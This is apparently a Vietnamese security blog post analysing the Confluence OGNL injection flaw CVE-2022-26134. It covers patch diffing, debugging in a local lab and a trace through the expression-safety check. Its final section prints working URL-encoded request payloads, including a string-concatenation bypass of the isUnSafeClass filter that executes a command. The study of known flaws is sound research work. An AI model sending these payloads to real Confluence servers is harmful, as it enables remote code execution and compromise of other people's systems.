Tiếp tục với những bài viết research về 1day thì mình đã chọn CVE-2022-26134 để phân tích. Đây là 1 CVE về Confluence Server OGNL Injection dẫn đến có thể thực thi mã từ xa. Dưới đây mình sẽ nói rõ về cách diff, setup debug và lỗ hổng này nó sẽ được thực hiện như nào. Let's go..
Patch Analysis
Confluence đã public lỗ hổng tại đây Reference_Links. Ban đầu lúc mình theo dõi thì chưa có bản vá nào chính thức và chưa có những cập nhật nào cụ thể, chỉ có hướng dẫn là filter ${}
=> Mình nghĩ tới liên quan đến OGNL Injection
vì Confluence đã từng bị lỗi liên quan đến OGNL Injection
nên mình lúc đầu đoán rằng có thể bypass gì ở đây. Tới lúc công bố bản vá cụ thể và chi tiết thì mình đã quyết định tải bản mới nhất (bản patch) và bản bị lỗi về để diff. LINK_DOWNLOAD
Một số điều cần làm để vá lỗ hổng này:
Tải file
xwork-1.0.3-atlassian-10.jar
Xóa
xwork-1.0.3-atlassian-8.jar
mà server đang dùng.Thay thế file vừa xóa bằng file vừa tải về.
\=> Vậy có lẽ những điều mình cần chú ý và cần diff nằm trong file xwork-1.0.3-atlassian-10.jar
và xwork-1.0.3-atlassian-8.jar
Lúc đầu mình tính sử dụng winmerge để diff 2 bản này, nhưng người anh trong phòng stk đã chỉ mình sử dụng 1 tính năng trong Intellij
.
Command diff:
.\idea64.exe diff "[Folder_Ver7.18.0]" "[Folder2_Ver7.18.1]"
Sau khi load xong thì tìm tới file xwork-1.0.3-atlassian-10.jar
Vậy có thể thấy được trong bản mới nhất thì file xwork-1.0.3-atlassian-8.jar
đã bị xóa và thay bằng file xwork-1.0.3-atlassian-10.jar
. Để diff 2 file này với nhau thì cần làm như dưới đây:
Bôi đen 2 file như trên
Sau đó chọn
Compare New Files with Each Other
Sau khi load xong thì thấy được 1 sự thay đổi nhỏ ở trong 2 file này
Trong hàm
execute
của classActionChainResult.class
xóa đoạn xử líOgnl
Xóa luôn 2 lib đã import là
com.opensymphony.xwork.util.OgnlValueStack
vàcom.opensymphony.xwork.util.TextParseUtil
.
Vậy bây giờ mình đã biết được điểm mẫu chốt nằm ở đâu và giờ cần đi setup và debug.
Setup (Môi trường Windowns)
Sau khi tải bản 7.18.0
(zip) thì mình đã sửa lại thêm 1 chút trong file catalina.bat
để debug.
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Để tạo database thì dựng 1 docker chạy postgres
. File docker-compose.yml
dưới đây. Ở đây mình chạy docker bằng máy ảo xong forward port ra nhé.
version: '2'
services:
db:
image: postgres:12.8-alpine
ports:
- 5432:5432
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
Ở trong Intelij
thì chỉ cần chọn Remote JVM Debug
và giữ nguyên config nhé.
Command chạy confluence:
.\catalina.bat run
Sau khi chạy thành công thì truy cập
http://localhost:8090
và làm theo các bước hiện ra.Setup databse thì chỉ cần điền các thông tin sau
host: localhost port: 5432 db: confluence user: postgres pass: postgres
Giao diện của Confluence
sau khi cài đặt thành công.
Phân tích
Đầu tiên đặt breakpoint ở trong hàm execute
Truy cập vào đường dẫn /users/viewmyprofile.action
(ở đây mình chọn ở đây) thì thấy trigger được breakpoint. Trace xuống đoạn xử lí Ognl
namespace
là đoạn path mình truyền vô nhưng chỉ lấy đến/users
Dòng 63 khởi tạo, gọi đến thư viện được import.
Dòng 64 đưa
namespace
đã tạo vàstack
vào hàmtranslateVariables
ở trong fileTextParseUtil
. Vậy sẽ nhảy f7 nhảy vào đây xem hàm này sẽ xử lí như nào.Gán
/users
choexpression
và sau đó mang đi xử lí regex.Dòng 17,18 check
expression
có nằm trong${}
thì sẽ đưa các giá trị đó vô hàmfindValue
để check.Cuối cùng append các giá trị đó vô chuỗi
sb
.Do hiện tại
expression
của mình đưa vào là/users
không nằm trong${}
nên sẽ không nhảy vào loop mà nhảy xuống đoạn phía dưới
Sau khi thoát khỏi hàm thì sẽ tiếp tục vô đoạn code này
Tiếp tục kiểm tra
actionName
nhưnamespace
theo hàm ở trênTheo mình thấy thì hiện tại
actionName
mình không thể control.
Vậy bây giờ thử truyền ${7*7}
xem nó sẽ xử lí như nào.
GET //%24%7B7%2A7%7D HTTP/1.1
Host: localhost:8090
Connection: close
Khi request như này thì có 1 điều kì lạ là chương trình không trigger breakpoint đã đặt ở trong hàm execute
. Mình quyết định quay về với request ban đầu và tìm tại sao nó lại trigger breakpoint
Chú ý về Stack Frames thì thấy được trước vô hàm execute
thì request đã đi qua ServletDispatcher
. Giải thích xíu về ServletDispatcher
thì những request nào cũng sẽ đi qua như mô tả hình dưới đây, có thể hiểu nôm na nó sẽ là 1 cái cổng chính trong nhà.
Đây là 1 đoạn Stack Frames
mà chương trình hoạt động tới khi breakpoint dừng.
Chương trình sẽ gọi đến hàm service
ở trong file ServletDispatcher.class
Đoạn code này sẽ hoạt động là đưa các request vô
getNameSpace
,getActionName
,getRequestMap
,getParameterMap
,getSessionMap
vàgetApplicationMap
để xử lí.Trong các hàm trên thì thấy có 1 hàm quan trọng và dẫn đến tại sao khi mình thử payload
/{7*7}
thì breakpoint sẽ không ngắt đó là hàmgetNamespaceFromServletPath
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
servletPath
là đoạn request mình đưa vào, sau đó sẽ được được hàmsubstring
xử líHàm
substring
sẽ lấy từ đầu chuỗi request mình nhập vào tới khi dấu/
. Để nhìn thấy rõ hơn thì nhìn vào debug bên dưới đâyservletPath
chính là/users/viewmyprofile.action
mà mình truyền vàoSau khi xử lí thì
servletPath
chỉ còn lại/users
Vậy tới đây đã biết lí do tại sao mà lúc thử /%24%7B7%2A7%7D
thì sẽ không trigger breakpoint vì thiếu dấu /
ở cuối.
Đặt breakpoint ở dòng 84 thì thấy được expr
được compile
Sau khi compile và thoát ra khỏi hàm findValue
thì kết quả trả về là 49
=> Đã inject thành công.
Vậy bây giờ chỉ cần thay payload để RCE. Dưới đây là payload mình sử dụng:
${@java.lang.Runtime@getRuntime().exec("calc")}
Request:
GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%7D/ HTTP/1.1
Host: localhost:8090
Connection: close
Sau khi requets thì calc
không được chạy, theo lí thuyết như trên thì đáng lẽ là payload trên phải hoạt động. Vì vậy mình quyết định debug với payload này xem điều gì đã xảy ra, khiến payload này không hoạt động, có vẻ như mình đã bỏ qua thứ gì đó.
Chú ý kĩ lại thì thấy trước khi đi vào complie
thì có đi qua một đoạn check nữa ở hàm isSafeExpression
.
public boolean isSafeExpression(String expression) {
return this.isSafeExpressionInternal(expression, new HashSet());
}
Hàm này sẽ gọi đến hàm isSafeExpressionInternal
với 2 tham số là expression
mình truyền vào với 1 HashSet
.
Hàm isSafeExpressionInternal
:
private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
return false;
}
if (this.isUnSafeClass(expression)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
return false;
}
if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
} else {
try {
Object parsedExpression = OgnlUtil.compile(expression);
if (parsedExpression instanceof Node) {
if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
} else {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
}
}
} catch (RuntimeException | OgnlException var4) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
log.debug("Cannot verify safety of OGNL expression", var4);
}
}
}
return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
}
Đoạn code này mình chỉ cần chú ý đoạn
OgnlUtil.compile(expression)
parse thành các AST node rồi xong sẽ được đưa vào hàmcontainsUnsafeExpression
để kiểm tra.Nếu như có thể vượt qua được hàm check này nữa thì payload sẽ hoạt động.
Hàm containsUnsafeExpression
Các AST node được parse sẽ được duyệt qua từng node rồi so sánh với từng điều kiện để xem có hợp lệ hay không. Những yếu tố được check là:
node type
className
methodName
variable name
Điều kiện để qua được những điều này:
node type không nằm trong 3 type:
className phải thuộc 1 trong 9 class:
2 method không được sử dụng:
Một số variable unsafe:
Trong hàm
containsUnsafeExpression
tại dòng 111 check class không được nằm trong các class dưới đây thông qua hàmisUnSafeClass
:
Vậy bây giờ mình sẽ quay lại debug payload không hoạt động ở trên để xem payload đó bị fail ở bước nào.
- khi duyệt qua node đầu tiên thì className là
java.lang.Runtime
=> không nằm trong những className được cho phép, nên trả vềtrue
=> payload mà mình nhập vào unsafe.
Khi ra khỏi hàm findValue
thì trả về null => payload này không thể hoạt động.
Vậy mình thử 1 payload khác với kĩ thuật gọi trực tiếp class Class
và nối 2 chuỗi con lại với nhau để trở thành java.lang.Runtime
để bypass hàm isUnSafeClass
.
Exploit
Payload:
${"" + Class.forName("java." + "lang.Runtime").getMethod("getRuntime", null).invoke(null,null).exec("calc")}}
Request
GET /%24%7b%22%22%20%2b%20Class.forName(%22java.%22%20%2b%20%22lang.Runtime%22).getMethod(%22getRuntime%22%2c%20null).invoke(null%2cnull).exec(%22calc%22)%7d%7d/ HTTP/1.1
Host: localhost:8090
Connection: close
Trigger calc
thành công
Payload dưới đây có thể sử dụng cho version 7.13.6
vì ở trong hàm findValue
không có hàm check isSafeExpression
.
${@java.lang.Runtime@getRuntime().exec("calc")}
:::info Những version nào mà trong hàm findValue
không có hàm check isSafeExpression
đều có thể sử dụng payload này nhé. :::
Tóm tắt chương trình
Trước khi
namespace
nhận đầu vào thì đi qua hàmgetNamespaceFromServletPath
trong fileServletDispatcher.class
. Đầu vào phải có/
ở cuối vì hàm này sẽ xử lí lấy input tới/
.Check giá trị
namespace
nằm trong${}
thì nhảy vào hàmfindValue
kèm theo giá trị đó.Check giá trị qua hàm
isSafeExpression
trong fileSafeExpressionUtil.class
và hàm này gọi đếnisSafeExpressionInternal
để thực hiện check đầu vào có unsafe hay không.Đầu vào sẽ được parse thành các AST node thông qua hàm
OgnlUtil.compile
Lặp qua các node đó qua một số điều kiện như mình đã phân tích ở trên.
Cuối cùng nếu như đầu vào unsafe thì sẽ trả về null, còn không thì trả về kết quả của OGNL execute.
Reference
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134
Lời kết
Cảm ơn mọi người đã đọc về bài phân tích, hi vọng mọi người góp ý để những bài phân tích sau của mình sẽ chất lượng hơn. Hiện tại mình đang tập tành phân tích nên có thể chưa được chuyên sâu và hay lắm, mình sẽ cố gắng có những bài blog hay hơn (◕︵◕)